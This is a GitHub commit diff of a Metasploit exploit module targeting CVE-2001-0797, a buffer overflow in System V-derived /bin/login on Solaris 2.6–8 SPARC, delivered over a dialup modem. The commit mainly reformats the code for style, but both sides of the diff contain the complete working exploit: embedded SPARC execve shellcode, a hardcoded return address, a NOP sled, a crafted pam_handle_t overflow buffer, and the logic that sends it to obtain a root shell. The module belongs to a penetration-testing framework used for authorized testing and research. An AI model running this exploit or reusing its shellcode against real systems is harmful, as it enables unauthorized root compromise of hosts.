Skip to content

Commit f41e077

Browse files
bcolesbcoles
committed
modules/exploits/dialup: Resolve RuboCop violations
1 parent 74d828c commit f41e077

File tree

1 file changed

+104
-104
lines changed

1 file changed

+104
-104
lines changed

‎modules/exploits/dialup/multi/login/manyargs.rb‎

Lines changed: 104 additions & 104 deletions
Original file line numberDiff line numberDiff line change
@@ -9,140 +9,140 @@ class MetasploitModule < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::Dialup
1010

1111
def initialize(info = {})
12-
super(update_info(info,
13-
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
14-
'Description' => %q{
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
16+
'Description' => %q{
1517
This exploit connects to a system's modem over dialup and exploits
16-
a buffer overflow vulnerability in it's System V derived /bin/login.
17-
The vulnerability is triggered by providing a large number of arguments.
18-
},
19-
'References' =>
20-
[
21-
[ 'CVE', '2001-0797'],
22-
[ 'OSVDB', '690'],
23-
[ 'OSVDB', '691'],
24-
[ 'BID', '3681'],
25-
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
26-
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
18+
a buffer overflow vulnerability in it's System V derived /bin/login.
19+
The vulnerability is triggered by providing a large number of arguments.
20+
},
21+
'References' => [
22+
['CVE', '2001-0797'],
23+
['OSVDB', '690'],
24+
['OSVDB', '691'],
25+
['BID', '3681'],
26+
['URL', 'https://web.archive.org/web/20120114122443/http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
27+
['URL', 'https://web.archive.org/web/20120114113100/http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
28+
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_rlogin.c'],
2729
],
28-
'Author' =>
29-
[
30+
'Author' => [
3031
'I)ruid',
3132
],
32-
'Arch' => ARCH_TTY,
33-
'Platform' => ['unix'],
34-
'License' => MSF_LICENSE,
35-
'Payload' =>
36-
{
37-
'Space' => 3000,
38-
'BadChars' => '',
39-
'DisableNops' => true,
33+
'Arch' => ARCH_TTY,
34+
'Platform' => ['unix'],
35+
'License' => MSF_LICENSE,
36+
'Payload' => {
37+
'Space' => 3000,
38+
'BadChars' => '',
39+
'DisableNops' => true
4040
},
41-
'Targets' =>
42-
[
43-
[ 'Solaris 2.6 - 8 (SPARC)',
41+
'Targets' => [
42+
[
43+
'Solaris 2.6 - 8 (SPARC)',
4444
{
4545
'Platform' => 'unix',
46-
'Ret' => 0x00027184,
46+
'Ret' => 0x00027184,
4747
# Solaris/SPARC special shellcode (courtesy of inode)
4848
# execve() + exit()
4949
'Shellcode' =>
50-
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
51-
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
52-
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
53-
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
54-
'NOP' => "\x90\x1b\x80\x0e",
50+
"\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" \
51+
"\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" \
52+
"\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" \
53+
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
54+
'NOP' => "\x90\x1b\x80\x0e"
5555
}
5656
],
5757
],
58-
'DefaultTarget' => 0,
59-
'DisclosureDate' => '2001-12-12'))
60-
61-
register_options(
62-
[
63-
# OptString.new('USER', [true, 'User to log in as', 'bin']),
64-
])
58+
'DefaultTarget' => 0,
59+
'DisclosureDate' => '2001-12-12',
60+
'Notes' => {
61+
'Stability' => [ CRASH_SERVICE_RESTARTS ],
62+
'SideEffects' => [ IOC_IN_LOGS ],
63+
'Reliability' => [ REPEATABLE_SESSION ]
64+
}
65+
)
66+
)
6567
end
6668

6769
def buildbuf
68-
print_status("Targeting: #{self.target.name}")
70+
print_status("Targeting: #{target.name}")
6971

70-
retaddr = self.target.ret
71-
shellcode = self.target['Shellcode']
72-
nop = self.target['NOP']
73-
74-
user = datastore['USER']
75-
command = datastore['COMMAND'] + "\n"
72+
retaddr = target.ret
73+
shellcode = target['Shellcode']
74+
nop = target['NOP']
7675

7776
# prepare the evil buffer
7877
i = 0
7978
buf = ''
8079

8180
# login name
82-
buf[i,4] = 'bin '
81+
buf[i, 4] = 'bin '
8382
i += 4
8483

8584
# return address
86-
buf[i,4] = [retaddr].pack('N')
85+
buf[i, 4] = [retaddr].pack('N')
8786
i += 4
88-
buf[i,1] = ' '
87+
buf[i, 1] = ' '
8988
i += 1
9089

9190
# trigger the overflow
92-
(0...60).each {|c|
93-
buf[i,2] = 'a '
91+
(0...60).each do |_c|
92+
buf[i, 2] = 'a '
9493
i += 2
95-
}
94+
end
9695

9796
# padding
98-
buf[i,4] = ' BBB'
97+
buf[i, 4] = ' BBB'
9998
i += 4
10099

101100
# nop sled and shellcode
102-
(0...398).each {|c|
103-
buf[i,nop.size] = nop
101+
(0...398).each do |_c|
102+
buf[i, nop.size] = nop
104103
i += nop.size
105-
}
106-
shellcode.each_byte {|b|
104+
end
105+
shellcode.each_byte do |b|
107106
c = b.chr
108-
case 'c'
109-
when "\\"
110-
buf[i,2] = "\\\\"
107+
case c
108+
when '\\'
109+
buf[i, 2] = '\\\\'
111110
i += 2
112-
when "\xff", "\n", " ", "\t"
113-
buf[i,1] = "\\"
114-
buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
115-
buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
116-
buf[i+3,1] = ( (b & 0007) + '0').chr
111+
when "\xff", "\n", ' ', "\t"
112+
buf[i, 1] = '\\'
113+
buf[i + 1, 1] = (((b & 0o300) >> 6) + '0').chr
114+
buf[i + 2, 1] = (((b & 0o070) >> 3) + '0').chr
115+
buf[i + 3, 1] = ((b & 0o007) + '0').chr
117116
i += 4
118117
else
119-
buf[i,1] = c
118+
buf[i, 1] = c
120119
i += 1
121120
end
122-
}
121+
end
122+
123123
# TODO: need to overwrite/skip the last byte of shellcode?
124-
#i -= 1
124+
# i -= 1
125125

126126
# padding
127-
buf[i,4] = 'BBB '
127+
buf[i, 4] = 'BBB '
128128
i += 4
129129

130130
# pam_handle_t: minimal header
131-
buf[i,16] = 'CCCCCCCCCCCCCCCC'
131+
buf[i, 16] = 'CCCCCCCCCCCCCCCC'
132132
i += 16
133-
buf[i,4] = [retaddr].pack('N')
133+
buf[i, 4] = [retaddr].pack('N')
134134
i += 4
135-
buf[i,4] = [0x01].pack('N')
135+
buf[i, 4] = [0x01].pack('N')
136136
i += 4
137137

138138
# pam_handle_t: NULL padding
139-
(0...52).each {|c|
140-
buf[i,4] = [0].pack('N')
139+
(0...52).each do |_c|
140+
buf[i, 4] = [0].pack('N')
141141
i += 4
142-
}
142+
end
143143

144144
# pam_handle_t: pameptr must be the 65th ptr
145-
buf[i,9] = "\x00\x00\x00 AAAA\n"
145+
buf[i, 9] = "\x00\x00\x00 AAAA\n"
146146
i += 9
147147

148148
return buf
@@ -151,63 +151,63 @@ def buildbuf
151151
def exploit
152152
buf = buildbuf
153153

154-
print_status("Dialing Target")
155-
if not connect_dialup
156-
print_error("Exiting.")
154+
print_status('Dialing Target')
155+
if !connect_dialup
156+
print_error('Exiting.')
157157
return
158158
end
159159

160-
print_status("Waiting for login prompt")
160+
print_status('Waiting for login prompt')
161161

162162
res = dialup_expect(/ogin:\s/i, 10)
163-
#puts Rex::Text.to_hex_dump(res[:buffer])
164-
if not res[:match]
165-
print_error("Login prompt not found... Exiting.")
163+
# puts Rex::Text.to_hex_dump(res[:buffer])
164+
if !(res[:match])
165+
print_error('Login prompt not found... Exiting.')
166166
disconnect_dialup
167167
return
168168
end
169169

170170
# send the evil buffer, 256 chars at a time
171-
print_status("Sending evil buffer...")
172-
#puts Rex::Text.to_hex_dump(buf)
171+
print_status('Sending evil buffer...')
172+
# puts Rex::Text.to_hex_dump(buf)
173173
len = buf.length
174174
p = 0
175-
while(len > 0) do
175+
while (len > 0)
176176
i = len > 0x100 ? 0x100 : len
177-
#puts Rex::Text.to_hex_dump(buf[p,i])
178-
dialup_puts(buf[p,i])
177+
# puts Rex::Text.to_hex_dump(buf[p,i])
178+
dialup_puts(buf[p, i])
179179
len -= i
180180
p += i
181-
# if len > 0
182-
# puts Rex::Text.to_hex_dump("\x04")
183-
# dialup_puts("\x04") if len > 0
184-
# end
185-
select(nil,nil,nil,0.5)
181+
# if len > 0
182+
# puts Rex::Text.to_hex_dump("\x04")
183+
# dialup_puts("\x04") if len > 0
184+
# end
185+
select(nil, nil, nil, 0.5)
186186
end
187187

188188
# wait for password prompt
189-
print_status("Waiting for password prompt")
189+
print_status('Waiting for password prompt')
190190
res = dialup_expect(/assword:/i, 30)
191-
#puts Rex::Text.to_hex_dump(res[:buffer])
192-
if not res[:match]
193-
print_error("Target is likely not vulnerable... Exiting.")
191+
# puts Rex::Text.to_hex_dump(res[:buffer])
192+
if !(res[:match])
193+
print_error('Target is likely not vulnerable... Exiting.')
194194
disconnect_dialup
195195
return
196196
end
197197

198-
print_status("Password prompt received, waiting for shell")
198+
print_status('Password prompt received, waiting for shell')
199199
dialup_puts("pass\n")
200200

201201
res = dialup_expect(/#\s/i, 20)
202-
#puts Rex::Text.to_hex_dump(res[:buffer])
203-
if not res[:match]
204-
print_error("Shell not found.")
205-
print_error("Target is likely not vulnerable... Exiting.")
202+
# puts Rex::Text.to_hex_dump(res[:buffer])
203+
if !(res[:match])
204+
print_error('Shell not found.')
205+
print_error('Target is likely not vulnerable... Exiting.')
206206
disconnect_dialup
207207
return
208208
end
209209

210-
print_status("Success!!!")
210+
print_status('Success!!!')
211211
handler
212212

213213
disconnect_dialup

0 commit comments

Comments
 (0)